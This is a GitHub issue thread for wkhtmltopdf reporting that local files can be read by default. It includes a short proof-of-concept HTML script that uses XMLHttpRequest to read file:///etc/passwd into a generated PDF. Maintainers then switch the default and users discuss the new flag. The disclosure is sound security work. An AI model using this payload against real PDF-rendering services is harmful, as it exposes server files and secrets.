

[Code](#)

**Issues** 1.2k

[Pull requests](#) 24

[Actions](#)

[Security](#)

[Insights](#)

# The same origin policy allows local files to be read by default #4536

New issue

[Jump to bottom](#)

🔒 Closed


**1135** opened this issue Nov 21, 2019 · 14 comments

## Labels

[Fixed](#)

## Milestone

[🏠 0.12.6](#)

 **1135** commented Nov 21, 2019

...

### wkhtmltopdf version(s) affected:

all version ( <=0.12.5 )

### OS information

All supported OS

### Description

Because the same-origin policy is not strict enough, the html files under the `file` domain can read any files.

### How to reproduce

Create an HTML file named `111.html`

The file contents are as follows.

```
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

</body></html>
```

Convert HTML to PDF:


wkhtmltopdf /tmp/111.html /tmp/result.pdf

### Expected behavior

View the file named `result.pdf` contents, you will see the contents of the file `/etc/passwd` !

### Possible Solution

Make a strict same-origin policy or set a security option, to prevent HTML documents under the `file` domain from reading any files.


 **ashkulz** commented Nov 21, 2019

...

Hmm, does that work with `--disable-local-file-access` ? I think the opposite is the default for backward compatibility reasons, but not sure if it should be made the default now.




 **1135** changed the title ~~the same origin policy vulnerability~~ **The same origin policy allows local files to be read by default** Nov 21, 2019

 **1135** commented Nov 21, 2019

...

Great. `-n --disable-local-file-access` effectively prevents local file reading.  
That is to say, the local file read will succeed only if this option is not used(default).  
I understand it. You have the final say~

 **ashkulz** commented Nov 21, 2019


...

I'm thinking that it's better to switch the default, as you weren't aware of it and you were reporting what you thought was a vulnerability! Discoverability seems to be low, and if it breaks for someone they can easily fix it. I'd appreciate a PR changing the default  
👍

 **1135** commented Nov 22, 2019

...

`wkhtmltopdf` is practical and used widely.  
I found that someone had built a web service, and called `wkhtmltopdf` on the back end without considering security. As a result, it is not difficult for hackers to get information of the server remotely. so I reported the risk of this default configuration.  
As you said, the PR will make it better~

 **ashkulz** commented Nov 22, 2019

...

Great, will wait for one from you then!





 **ashkulz** closed this in `wkhtmltopdf/wkhtmltopdf@2a5f250` Nov 25, 2019



 **ashkulz** added the `Fixed` label Nov 25, 2019



 **ashkulz** added this to the **0.12.6** milestone [Nov 25, 2019](#)

 **ashkulz** commented [Jun 6, 2020](#) ...

A release candidate for the **0.12.6** release is [now available for download](#), which should contain changes which possibly address this issue.

Would appreciate downloading the package and reporting back if any issues are encountered during testing. Assuming all goes well, I plan to release 0.12.6 on the 2-year anniversary of the previous release i.e. June 11, 2020.

 **pedrofurtado** commented [Jun 11, 2020](#) ...

How to revert, using 0.12.6, to previous behavior? Is there some flag?



 **pedrofurtado** mentioned this issue [Jun 11, 2020](#)

**Upgrade to 0.12.6 version of wkhtmltopdf** [zakird/wkhtmltopdf\\_binary\\_gem#81](#)

 Merged




 **pedrofurtado** mentioned this issue [Jun 11, 2020](#)

**Add a option to disable/enable local file access, that is enabled by default in 0.12.5 and false by default in 0.12.6 version of wkhtmltopdf** [mileszs/wicked\\_pdf#920](#)

 Merged

 **ashkulz** commented [Jun 12, 2020](#) ...

You can always use `--enable-local-file-access` .


 **iturbe** commented [Jun 15, 2020](#) ...

The latest update broke my program in which i'm using the following line within a python file:

```
imgkit.from_file('output/htmls/' + str(idx) + '.html', jpeg_output_path + str(number) + '_out.jpg')
```

How/where should i add in the `--enable-local-file-access` for it to work again?

Thanks in advance!


 **ashkulz** commented [Jun 15, 2020](#) ...

**@iturbe**: Looks like you're using [imgkit](#) ... please create a ticket there to document this, but you probably need to add `{ 'enable-local-file-access': None }` as the last parameter.

 **iturbe** commented [Jun 15, 2020](#)

@ashkulz Thank you!




 **Trits** mentioned this issue [Jun 19, 2020](#)

**pdf doc has no style** [dotnet/docfx#6110](#)

🔒 Closed




 **mdahinden** mentioned this issue [Jul 23, 2020](#)

**ProtocolUnknownError** [#2660](#)

🔒 Closed



 **ajinabraham** mentioned this issue [Jul 23, 2020](#)

**Support wkhtmltopdf 0.12.6** [MobSF/Mobile-Security-Framework-MobSF#1478](#)

🔒 Closed



 **blazeblazeblaze** mentioned this issue [Jul 25, 2020](#)

**wicked\_pdf\_image\_tag helper does not render the picture with the release 0.12.6.2.** [mileszs/wicked\\_pdf#927](#)

🔒 Closed




 **martinburchell** mentioned this issue [Aug 11, 2020](#)

**Tests fail with wkhtmltox\_0.12.6-1** [RudolfCardinal/camcops#87](#)

🔒 Closed



 **LeonidEfremov** mentioned this issue [Aug 17, 2020](#)


**Extra Args property** [andrei-m-code/net-core-html-to-image#23](#)

🔒 Closed

 **jsmpereira** commented [Sep 17, 2020](#)

Another option is to use `--allow <path>` to specify the folder(s) from which local files are allowed to be loaded.



 **ashkulz** mentioned this issue [Sep 23, 2020](#)


**Missing dependencies xfonts-75dpi xfonts-base** [wkhtmltopdf/packaging#78](#)

🔒 Closed

 **Javier-Sossa** commented [Oct 15, 2020](#) ...

You can always use `--enable-local-file-access`.

**where to put "--enable-local-file-access" ??**

 **der-Lehmann** commented [Oct 20, 2020](#) ...


You can always use `--enable-local-file-access`.

**where to put "--enable-local-file-access" ??**

That depends on whether you use a wrapper for wkhtmltopdf or use the program without one. In my case, I am using [laravel snappy](#), I can include the option like that: `$snappy->setOption('enable-local-file-access', true);`

Should you use it directly you just append the option to the command like that I guess: `wkhtmltopdf --enable-local-file-access https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536 example.pdf`



 **wkhtmltopdf** locked as **resolved** and limited conversation to collaborators [Oct 20, 2020](#)

[Sign up for free](#)

**to subscribe to this conversation on GitHub.** Already have an account? [Sign in.](#)

#### Assignees

No one assigned

#### Labels

[Fixed](#)

#### Milestone

[0.12.6](#)

#### Linked pull requests

Successfully merging a pull request may close this issue.

None yet

#### 7 participants



© 2022 GitHub, Inc.

[Terms](#)

[Privacy](#)

[Security](#)

[Status](#)

[Docs](#)

[Contact GitHub](#)

